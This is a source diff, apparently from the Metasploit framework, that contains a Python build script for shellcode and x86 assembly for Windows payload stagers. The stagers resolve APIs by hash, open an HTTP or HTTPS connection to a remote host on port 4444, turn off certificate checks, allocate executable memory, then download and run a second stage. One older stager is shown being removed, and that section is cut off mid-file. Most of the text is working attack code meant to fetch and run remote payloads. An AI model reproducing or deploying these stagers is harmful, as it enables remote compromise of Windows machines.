xmit_offset( data, "EggTag1", pack( "<L", 0xDEADDEAD ) ) # Egg tag 1
|
|
||||||
xmit_offset( data, "EggTag2", pack( "<L", 0xC0DEC0DE ) ) # Egg tag 2
|
|
||||||
xmit_offset( data, "EggTagSize", pack( ">H", 0x1122 ) ) # Egg tag size
|
|
||||||
xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key
|
|
||||||
xmit_offset( data, "XORKey", "XORK") # XOR key
|
|
||||||
if( name.find( "egghunter" ) >= 0 ):
|
|
||||||
null_count = data.count( "\x00" )
|
|
||||||
if( null_count > 0 ):
|
|
||||||
print "# Note: %d NULL bytes found." % ( null_count )
|
|
||||||
if dump_ruby:
|
|
||||||
xmit_dump_ruby( data )
|
|
||||||
#=============================================================================#
|
#=============================================================================#
|
||||||
def main( argv=None ):
|
# A simple python build script to build the singles/stages/stagers and
|
||||||
if not argv:
|
# some usefull information such as offsets and a hex dump. The binary output
|
||||||
argv = sys.argv
|
# will be placed in the bin directory. A hex string and usefull comments will
|
||||||
try:
|
# be printed to screen.
|
||||||
if len( argv ) == 1:
|
#
|
||||||
print "Usage: build.py [clean|all|<name>]"
|
# Example:
|
||||||
else:
|
# >python build.py stager_reverse_tcp_nx
|
||||||
print "# Built on %s\n" % ( time.asctime( time.localtime() ) )
|
#
|
||||||
if argv[1] == "clean":
|
# Example, to build everything:
|
||||||
clean()
|
# >python build.py all > build_output.txt
|
||||||
elif argv[1] == "all":
|
#
|
||||||
for root, dirs, files in os.walk( "./src/egghunter/" ):
|
# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||||
for name in files:
|
|
||||||
build( name[:-4] )
|
|
||||||
for root, dirs, files in os.walk( "./src/migrate/" ):
|
|
||||||
for name in files:
|
|
||||||
build( name[:-4] )
|
|
||||||
for root, dirs, files in os.walk( "./src/single/" ):
|
|
||||||
for name in files:
|
|
||||||
build( name[:-4] )
|
|
||||||
for root, dirs, files in os.walk( "./src/stage/" ):
|
|
||||||
for name in files:
|
|
||||||
build( name[:-4] )
|
|
||||||
for root, dirs, files in os.walk( "./src/stager/" ):
|
|
||||||
for name in files:
|
|
||||||
build( name[:-4] )
|
|
||||||
for root, dirs, files in os.walk( "./src/kernel/" ):
|
|
||||||
for name in files:
|
|
||||||
build( name[:-4] )
|
|
||||||
else:
|
|
||||||
build( argv[1] )
|
|
||||||
except Exception, e:
|
|
||||||
print "[-] ", e
|
|
||||||
#=============================================================================#
|
|
||||||
if __name__ == "__main__":
|
|
||||||
main()
|
|
||||||
#=============================================================================#
|
#=============================================================================#
|
||||||
|
import os, sys, time
|
||||||
|
from subprocess import Popen
|
||||||
|
from struct import pack
|
||||||
|
#=============================================================================#
|
||||||
|
def clean( dir="./bin/" ):
|
||||||
|
for root, dirs, files in os.walk( dir ):
|
||||||
|
for name in files:
|
||||||
|
os.remove( os.path.join( root, name ) )
|
||||||
|
#=============================================================================#
|
||||||
|
def locate( src_file, dir="./src/" ):
|
||||||
|
for root, dirs, files in os.walk( dir ):
|
||||||
|
for name in files:
|
||||||
|
if src_file == name:
|
||||||
|
return root
|
||||||
|
return None
|
||||||
|
|
||||||
|
#=============================================================================#
|
||||||
|
def build( name ):
|
||||||
|
location = locate( "%s.asm" % name )
|
||||||
|
if location:
|
||||||
|
input = os.path.normpath( os.path.join( location, name ) )
|
||||||
|
output = os.path.normpath( os.path.join( "./bin/", name ) )
|
||||||
|
p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] )
|
||||||
|
p.wait()
|
||||||
|
xmit( name )
|
||||||
|
else:
|
||||||
|
print "[-] Unable to locate '%s.asm' in the src directory" % name
|
||||||
|
|
||||||
|
#=============================================================================#
|
||||||
|
def xmit_dump_ruby( data, length=16 ):
|
||||||
|
dump = ""
|
||||||
|
for i in xrange( 0, len( data ), length ):
|
||||||
|
bytes = data[ i : i+length ]
|
||||||
|
hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) )
|
||||||
|
if i+length <= len(data):
|
||||||
|
hex += " +"
|
||||||
|
dump += "%s\n" % ( hex )
|
||||||
|
print dump
|
||||||
|
|
||||||
|
#=============================================================================#
|
||||||
|
def xmit_offset( data, name, value, match_offset=0 ):
|
||||||
|
offset = data.find( value );
|
||||||
|
if offset != -1:
|
||||||
|
print "# %s Offset: %d" % ( name, offset + match_offset )
|
||||||
|
|
||||||
|
#=============================================================================#
|
||||||
|
def xmit( name, dump_ruby=True ):
|
||||||
|
bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) )
|
||||||
|
f = open( bin, 'rb')
|
||||||
|
data = f.read()
|
||||||
|
print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) )
|
||||||
|
xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444
|
||||||
|
xmit_offset( data, "LEPort", pack( "<H", 4444 ) ) # 4444
|
||||||
|
xmit_offset( data, "Host", pack( ">L", 0x7F000001 ) ) # 127.0.0.1
|
||||||
|
xmit_offset( data, "IPv6Host", pack( "<Q", 0xBBBBBBBBBBBBBBB1 ) ) # An IPv6 Address
|
||||||
|
xmit_offset( data, "IPv6ScopeId", pack( "<L", 0xAAAAAAA1 ) ) # An IPv6 Scope ID
|
||||||
|
xmit_offset( data, "HostName", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\x00" ) # hostname filler
|
||||||
|
xmit_offset( data, "RetryCounter", "\x6a\x05", 1 ) # socket retry
|
||||||
|
xmit_offset( data, "CodeLen", pack( "<L", 0x12345678 ) ) # Filler
|
||||||
|
xmit_offset( data, "Hostname", "https" )
|
||||||
|
xmit_offset( data, "ExitFunk", pack( "<L", 0x0A2A1DE0 ) ) # kernel32.dll!ExitThread
|
||||||
|
xmit_offset( data, "ExitFunk", pack( "<L", 0x56A2B5F0 ) ) # kernel32.dll!ExitProcess
|
||||||
|
xmit_offset( data, "ExitFunk", pack( "<L", 0xEA320EFE ) ) # kernel32.dll!SetUnhandledExceptionFilter
|
||||||
|
xmit_offset( data, "ExitFunk", pack( "<L", 0xE035F044 ) ) # kernel32.dll!Sleep
|
||||||
|
xmit_offset( data, "EggTag1", pack( "<L", 0xDEADDEAD ) ) # Egg tag 1
|
||||||
|
xmit_offset( data, "EggTag2", pack( "<L", 0xC0DEC0DE ) ) # Egg tag 2
|
||||||
|
xmit_offset( data, "EggTagSize", pack( ">H", 0x1122 ) ) # Egg tag size
|
||||||
|
xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key
|
||||||
|
xmit_offset( data, "XORKey", "XORK") # XOR key
|
||||||
|
if( name.find( "egghunter" ) >= 0 ):
|
||||||
|
null_count = data.count( "\x00" )
|
||||||
|
if( null_count > 0 ):
|
||||||
|
print "# Note: %d NULL bytes found." % ( null_count )
|
||||||
|
if dump_ruby:
|
||||||
|
xmit_dump_ruby( data )
|
||||||
|
|
||||||
|
#=============================================================================#
|
||||||
|
def main( argv=None ):
|
||||||
|
if not argv:
|
||||||
|
argv = sys.argv
|
||||||
|
try:
|
||||||
|
if len( argv ) == 1:
|
||||||
|
print "Usage: build.py [clean|all|<name>]"
|
||||||
|
else:
|
||||||
|
print "# Built on %s\n" % ( time.asctime( time.localtime() ) )
|
||||||
|
if argv[1] == "clean":
|
||||||
|
clean()
|
||||||
|
elif argv[1] == "all":
|
||||||
|
for root, dirs, files in os.walk( "./src/egghunter/" ):
|
||||||
|
for name in files:
|
||||||
|
build( name[:-4] )
|
||||||
|
for root, dirs, files in os.walk( "./src/migrate/" ):
|
||||||
|
for name in files:
|
||||||
|
build( name[:-4] )
|
||||||
|
for root, dirs, files in os.walk( "./src/single/" ):
|
||||||
|
for name in files:
|
||||||
|
build( name[:-4] )
|
||||||
|
for root, dirs, files in os.walk( "./src/stage/" ):
|
||||||
|
for name in files:
|
||||||
|
build( name[:-4] )
|
||||||
|
for root, dirs, files in os.walk( "./src/stager/" ):
|
||||||
|
for name in files:
|
||||||
|
build( name[:-4] )
|
||||||
|
for root, dirs, files in os.walk( "./src/kernel/" ):
|
||||||
|
for name in files:
|
||||||
|
build( name[:-4] )
|
||||||
|
else:
|
||||||
|
build( argv[1] )
|
||||||
|
except Exception, e:
|
||||||
|
print "[-] ", e
|
||||||
|
#=============================================================================#
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
|
#=============================================================================#
|
||||||
|
|
|
@ -23,7 +23,7 @@ api_call:
|
||||||
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
||||||
next_mod: ;
|
next_mod: ;
|
||||||
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
||||||
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||||
loop_modname: ;
|
loop_modname: ;
|
||||||
xor eax, eax ; Clear EAX
|
xor eax, eax ; Clear EAX
|
||||||
|
@ -34,22 +34,25 @@ loop_modname: ;
|
||||||
not_lowercase: ;
|
not_lowercase: ;
|
||||||
ror edi, 13 ; Rotate right our hash value
|
ror edi, 13 ; Rotate right our hash value
|
||||||
add edi, eax ; Add the next byte of the name
|
add edi, eax ; Add the next byte of the name
|
||||||
loop loop_modname ; Loop untill we have read enough
|
loop loop_modname ; Loop until we have read enough
|
||||||
|
|
||||||
; We now have the module hash computed
|
; We now have the module hash computed
|
||||||
push edx ; Save the current position in the module list for later
|
push edx ; Save the current position in the module list for later
|
||||||
push edi ; Save the current module hash for later
|
push edi ; Save the current module hash for later
|
||||||
; Proceed to itterate the export address table,
|
; Proceed to iterate the export address table,
|
||||||
mov edx, [edx+16] ; Get this modules base address
|
mov edx, [edx+16] ; Get this modules base address
|
||||||
mov eax, [edx+60] ; Get PE header
|
mov eax, [edx+60] ; Get PE header
|
||||||
add eax, edx ; Add the modules base address
|
|
||||||
mov eax, [eax+120] ; Get export tables RVA
|
; use ecx as our EAT pointer here so we can take advantage of jecxz.
|
||||||
test eax, eax ; Test if no export address table is present
|
mov ecx, [eax+edx+120] ; Get the EAT from the PE header
|
||||||
jz get_next_mod1 ; If no EAT present, process the next module
|
jecxz get_next_mod1 ; If no EAT present, process the next module
|
||||||
add eax, edx ; Add the modules base address
|
add ecx, edx ; Add the modules base address
|
||||||
push eax ; Save the current modules EAT
|
push ecx ; Save the current modules EAT
|
||||||
mov ecx, [eax+24] ; Get the number of function names
|
mov ebx, [ecx+32] ; Get the rva of the function names
|
||||||
mov ebx, [eax+32] ; Get the rva of the function names
|
|
||||||
add ebx, edx ; Add the modules base address
|
add ebx, edx ; Add the modules base address
|
||||||
|
mov ecx, [ecx+24] ; Get the number of function names
|
||||||
|
; now ecx returns to its regularly scheduled counter duties
|
||||||
|
|
||||||
; Computing the module hash + function hash
|
; Computing the module hash + function hash
|
||||||
get_next_func: ;
|
get_next_func: ;
|
||||||
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||||
|
@ -66,14 +69,15 @@ loop_funcname: ;
|
||||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||||
add edi, [ebp-8] ; Add the current module hash to the function hash
|
add edi, [ebp-8] ; Add the current module hash to the function hash
|
||||||
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
cmp edi, [ebp+36] ; Compare the hash to the one we are searching for
|
||||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||||
|
|
||||||
; If found, fix up stack, call the function and then value else compute the next one...
|
; If found, fix up stack, call the function and then value else compute the next one...
|
||||||
pop eax ; Restore the current modules EAT
|
pop eax ; Restore the current modules EAT
|
||||||
mov ebx, [eax+36] ; Get the ordinal table rva
|
mov ebx, [eax+36] ; Get the ordinal table rva
|
||||||
add ebx, edx ; Add the modules base address
|
add ebx, edx ; Add the modules base address
|
||||||
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
||||||
mov ebx, [eax+28] ; Get the function addresses table rva
|
mov ebx, [eax+28] ; Get the function addresses table rva
|
||||||
add ebx, edx ; Add the modules base address
|
add ebx, edx ; Add the modules base address
|
||||||
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
||||||
add eax, edx ; Add the modules base address to get the functions actual VA
|
add eax, edx ; Add the modules base address to get the functions actual VA
|
||||||
|
@ -88,10 +92,11 @@ finish:
|
||||||
push ecx ; Push back the correct return value
|
push ecx ; Push back the correct return value
|
||||||
jmp eax ; Jump into the required function
|
jmp eax ; Jump into the required function
|
||||||
; We now automagically return to the correct caller...
|
; We now automagically return to the correct caller...
|
||||||
|
|
||||||
get_next_mod: ;
|
get_next_mod: ;
|
||||||
pop eax ; Pop off the current (now the previous) modules EAT
|
pop eax ; Pop off the current (now the previous) modules EAT
|
||||||
get_next_mod1: ;
|
get_next_mod1: ;
|
||||||
pop edi ; Pop off the current (now the previous) modules hash
|
pop edi ; Pop off the current (now the previous) modules hash
|
||||||
pop edx ; Restore our position in the module list
|
pop edx ; Restore our position in the module list
|
||||||
mov edx, [edx] ; Get the next module
|
mov edx, [edx] ; Get the next module
|
||||||
jmp short next_mod ; Process this module
|
jmp short next_mod ; Process this module
|
||||||
|
|
|
@ -6,6 +6,25 @@
|
||||||
;-----------------------------------------------------------------------------;
|
;-----------------------------------------------------------------------------;
|
||||||
[BITS 32]
|
[BITS 32]
|
||||||
|
|
||||||
|
%ifdef ENABLE_SSL
|
||||||
|
%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000 )
|
||||||
|
;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||||
|
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||||
|
;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
|
||||||
|
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||||
|
;0x00000200 | ; INTERNET_FLAG_NO_UI
|
||||||
|
;0x00800000 | ; INTERNET_FLAG_SECURE
|
||||||
|
;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
|
||||||
|
;0x00001000 ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
|
||||||
|
%else
|
||||||
|
%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 )
|
||||||
|
;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||||
|
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||||
|
;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
|
||||||
|
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||||
|
;0x00000200 ; INTERNET_FLAG_NO_UI
|
||||||
|
%endif
|
||||||
|
|
||||||
; Input: EBP must be the address of 'api_call'.
|
; Input: EBP must be the address of 'api_call'.
|
||||||
; Output: EDI will be the socket for the connection to the server
|
; Output: EDI will be the socket for the connection to the server
|
||||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||||
|
@ -16,65 +35,74 @@ load_wininet:
|
||||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||||
call ebp ; LoadLibraryA( "wininet" )
|
call ebp ; LoadLibraryA( "wininet" )
|
||||||
|
|
||||||
|
xor ebx,ebx
|
||||||
|
|
||||||
internetopen:
|
internetopen:
|
||||||
xor edi,edi
|
push ebx ; DWORD dwFlags
|
||||||
push edi ; DWORD dwFlags
|
push ebx ; LPCTSTR lpszProxyBypass (NULL)
|
||||||
push edi ; LPCTSTR lpszProxyBypass
|
push ebx ; LPCTSTR lpszProxyName (NULL)
|
||||||
push edi ; LPCTSTR lpszProxyName
|
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
|
||||||
push edi ; DWORD dwAccessType (PRECONFIG = 0)
|
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||||
push byte 0 ; NULL pointer
|
|
||||||
push esp ; LPCTSTR lpszAgent ("\x00")
|
|
||||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||||
call ebp
|
call ebp
|
||||||
|
|
||||||
jmp short dbl_get_server_host
|
|
||||||
|
|
||||||
internetconnect:
|
internetconnect:
|
||||||
pop ebx ; Save the hostname pointer
|
push ebx ; DWORD_PTR dwContext (NULL)
|
||||||
xor ecx, ecx
|
push ebx ; dwFlags
|
||||||
push ecx ; DWORD_PTR dwContext (NULL)
|
|
||||||
push ecx ; dwFlags
|
|
||||||
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
||||||
push ecx ; password
|
push ebx ; password (NULL)
|
||||||
push ecx ; username
|
push ebx ; username (NULL)
|
||||||
push dword 4444 ; PORT
|
push dword 4444 ; PORT
|
||||||
push ebx ; HOSTNAME
|
jmp short dbl_get_server_host ; push pointer to HOSTNAME
|
||||||
|
got_server_host:
|
||||||
push eax ; HINTERNET hInternet
|
push eax ; HINTERNET hInternet
|
||||||
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
||||||
call ebp
|
call ebp
|
||||||
|
|
||||||
jmp get_server_uri
|
|
||||||
|
|
||||||
httpopenrequest:
|
httpopenrequest:
|
||||||
pop ecx
|
push ebx ; dwContext (NULL)
|
||||||
xor edx, edx ; NULL
|
push HTTP_OPEN_FLAGS ; dwFlags
|
||||||
push edx ; dwContext (NULL)
|
push ebx ; accept types
|
||||||
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags
|
push ebx ; referrer
|
||||||
;0x80000000 | ; INTERNET_FLAG_RELOAD
|
push ebx ; version
|
||||||
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
jmp get_server_uri ; push pointer to url
|
||||||
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
got_server_uri:
|
||||||
;0x00000200 | ; INTERNET_FLAG_NO_UI
|
push ebx ; method
|
||||||
;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION
|
|
||||||
push edx ; accept types
|
|
||||||
push edx ; referrer
|
|
||||||
push edx ; version
|
|
||||||
push ecx ; url
|
|
||||||
push edx ; method
|
|
||||||
push eax ; hConnection
|
push eax ; hConnection
|
||||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||||
call ebp
|
call ebp
|
||||||
mov esi, eax ; hHttpRequest
|
xchg esi, eax ; save hHttpRequest in esi
|
||||||
|
|
||||||
set_retry:
|
set_retry:
|
||||||
push byte 0x10
|
push byte 0x10
|
||||||
pop ebx
|
pop edi
|
||||||
|
|
||||||
|
send_request:
|
||||||
|
|
||||||
|
%ifdef ENABLE_SSL
|
||||||
|
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
|
||||||
|
set_security_options:
|
||||||
|
push 0x00003380
|
||||||
|
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||||
|
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||||
|
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
|
||||||
|
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||||
|
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
|
||||||
|
mov eax, esp
|
||||||
|
push byte 4 ; sizeof(dwFlags)
|
||||||
|
push eax ; &dwFlags
|
||||||
|
push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||||
|
push esi ; hHttpRequest
|
||||||
|
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||||
|
call ebp
|
||||||
|
|
||||||
|
%endif
|
||||||
|
|
||||||
httpsendrequest:
|
httpsendrequest:
|
||||||
xor edi, edi
|
push ebx ; lpOptional length (0)
|
||||||
push edi ; optional length
|
push ebx ; lpOptional (NULL)
|
||||||
push edi ; optional
|
push ebx ; dwHeadersLength (0)
|
||||||
push edi ; dwHeadersLength
|
push ebx ; lpszHeaders (NULL)
|
||||||
push edi ; headers
|
|
||||||
push esi ; hHttpRequest
|
push esi ; hHttpRequest
|
||||||
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||||
call ebp
|
call ebp
|
||||||
|
@ -82,28 +110,30 @@ httpsendrequest:
|
||||||
jnz short allocate_memory
|
jnz short allocate_memory
|
||||||
|
|
||||||
try_it_again:
|
try_it_again:
|
||||||
dec ebx
|
dec edi
|
||||||
jz failure
|
jnz send_request
|
||||||
jmp short httpsendrequest
|
|
||||||
|
|
||||||
dbl_get_server_host:
|
; if we didn't allocate before running out of retries, fall through to
|
||||||
jmp get_server_host
|
; failure
|
||||||
|
|
||||||
get_server_uri:
|
|
||||||
call httpopenrequest
|
|
||||||
|
|
||||||
server_uri:
|
|
||||||
db "/12345", 0x00
|
|
||||||
|
|
||||||
failure:
|
failure:
|
||||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||||
call ebp
|
call ebp
|
||||||
|
|
||||||
|
dbl_get_server_host:
|
||||||
|
jmp get_server_host
|
||||||
|
|
||||||
|
get_server_uri:
|
||||||
|
call got_server_uri
|
||||||
|
|
||||||
|
server_uri:
|
||||||
|
db "/12345", 0x00
|
||||||
|
|
||||||
allocate_memory:
|
allocate_memory:
|
||||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||||
push 0x1000 ; MEM_COMMIT
|
push 0x1000 ; MEM_COMMIT
|
||||||
push 0x00400000 ; Stage allocation (8Mb ought to do us)
|
push 0x00400000 ; Stage allocation (8Mb ought to do us)
|
||||||
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
|
push ebx ; NULL as we dont care where the allocation is
|
||||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
|
|
||||||
|
@ -135,7 +165,7 @@ execute_stage:
|
||||||
ret ; dive into the stored stage address
|
ret ; dive into the stored stage address
|
||||||
|
|
||||||
get_server_host:
|
get_server_host:
|
||||||
call internetconnect
|
call got_server_host
|
||||||
|
|
||||||
server_host:
|
server_host:
|
||||||
|
|
||||||
|
|
|
@ -1,159 +0,0 @@
|
||||||
;-----------------------------------------------------------------------------;
|
|
||||||
; Author: HD Moore
|
|
||||||
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
|
|
||||||
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
|
|
||||||
; Version: 1.0
|
|
||||||
;-----------------------------------------------------------------------------;
|
|
||||||
[BITS 32]
|
|
||||||
|
|
||||||
; Input: EBP must be the address of 'api_call'.
|
|
||||||
; Output: EDI will be the socket for the connection to the server
|
|
||||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
|
||||||
load_wininet:
|
|
||||||
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
|
|
||||||
push 0x696e6977 ; ...
|
|
||||||
push esp ; Push a pointer to the "wininet" string on the stack.
|
|
||||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
|
||||||
call ebp ; LoadLibraryA( "wininet" )
|
|
||||||
|
|
||||||
internetopen:
|
|
||||||
xor edi,edi
|
|
||||||
push edi ; DWORD dwFlags
|
|
||||||
push edi ; LPCTSTR lpszProxyBypass
|
|
||||||
push edi ; LPCTSTR lpszProxyName
|
|
||||||
push edi ; DWORD dwAccessType (PRECONFIG = 0)
|
|
||||||
push byte 0 ; NULL pointer
|
|
||||||
push esp ; LPCTSTR lpszAgent ("\x00")
|
|
||||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
|
||||||
call ebp
|
|
||||||
|
|
||||||
jmp short dbl_get_server_host
|
|
||||||
|
|
||||||
internetconnect:
|
|
||||||
pop ebx ; Save the hostname pointer
|
|
||||||
xor ecx, ecx
|
|
||||||
push ecx ; DWORD_PTR dwContext (NULL)
|
|
||||||
push ecx ; dwFlags
|
|
||||||
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
|
||||||
push ecx ; password
|
|
||||||
push ecx ; username
|
|
||||||
push dword 4444 ; PORT
|
|
||||||
push ebx ; HOSTNAME
|
|
||||||
push eax ; HINTERNET hInternet
|
|
||||||
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
|
||||||
call ebp
|
|
||||||
|
|
||||||
jmp get_server_uri
|
|
||||||
|
|
||||||
httpopenrequest:
|
|
||||||
pop ecx
|
|
||||||
xor edx, edx ; NULL
|
|
||||||
push edx ; dwContext (NULL)
|
|
||||||
push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags
|
|
||||||
;0x80000000 | ; INTERNET_FLAG_RELOAD
|
|
||||||
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
|
||||||
;0x00800000 | ; INTERNET_FLAG_SECURE
|
|
||||||
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
|
||||||
;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
|
|
||||||
;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
|
|
||||||
;0x00000200 ; INTERNET_FLAG_NO_UI
|
|
||||||
push edx ; accept types
|
|
||||||
push edx ; referrer
|
|
||||||
push edx ; version
|
|
||||||
push ecx ; url
|
|
||||||
push edx ; method
|
|
||||||
push eax ; hConnection
|
|
||||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
|
||||||
call ebp
|
|
||||||
mov esi, eax ; hHttpRequest
|
|
||||||
|
|
||||||
set_retry:
|
|
||||||
push byte 0x10
|
|
||||||
pop ebx
|
|
||||||
|
|
||||||
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
|
|
||||||
set_security_options:
|
|
||||||
push 0x00003380
|
|
||||||
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
|
||||||
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
|
||||||
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
|
|
||||||
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
|
||||||
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
|
|
||||||
mov eax, esp
|
|
||||||
push byte 4 ; sizeof(dwFlags)
|
|
||||||
push eax ; &dwFlags
|
|
||||||
push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
|
||||||
push esi ; hRequest
|
|
||||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
|
||||||
call ebp
|
|
||||||
|
|
||||||
httpsendrequest:
|
|
||||||
xor edi, edi
|
|
||||||
push edi ; optional length
|
|
||||||
push edi ; optional
|
|
||||||
push edi ; dwHeadersLength
|
|
||||||
push edi ; headers
|
|
||||||
push esi ; hHttpRequest
|
|
||||||
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
|
||||||
call ebp
|
|
||||||
test eax,eax
|
|
||||||
jnz short allocate_memory
|
|
||||||
|
|
||||||
try_it_again:
|
|
||||||
dec ebx
|
|
||||||
jz failure
|
|
||||||
jmp short set_security_options
|
|
||||||
|
|
||||||
dbl_get_server_host:
|
|
||||||
jmp get_server_host
|
|
||||||
|
|
||||||
get_server_uri:
|
|
||||||
call httpopenrequest
|
|
||||||
|
|
||||||
server_uri:
|
|
||||||
db "/12345", 0x00
|
|
||||||
|
|
||||||
failure:
|
|
||||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
|
||||||
call ebp
|
|
||||||
|
|
||||||
allocate_memory:
|
|
||||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
|
||||||
push 0x1000 ; MEM_COMMIT
|
|
||||||
push 0x00400000 ; Stage allocation (8Mb ought to do us)
|
|
||||||
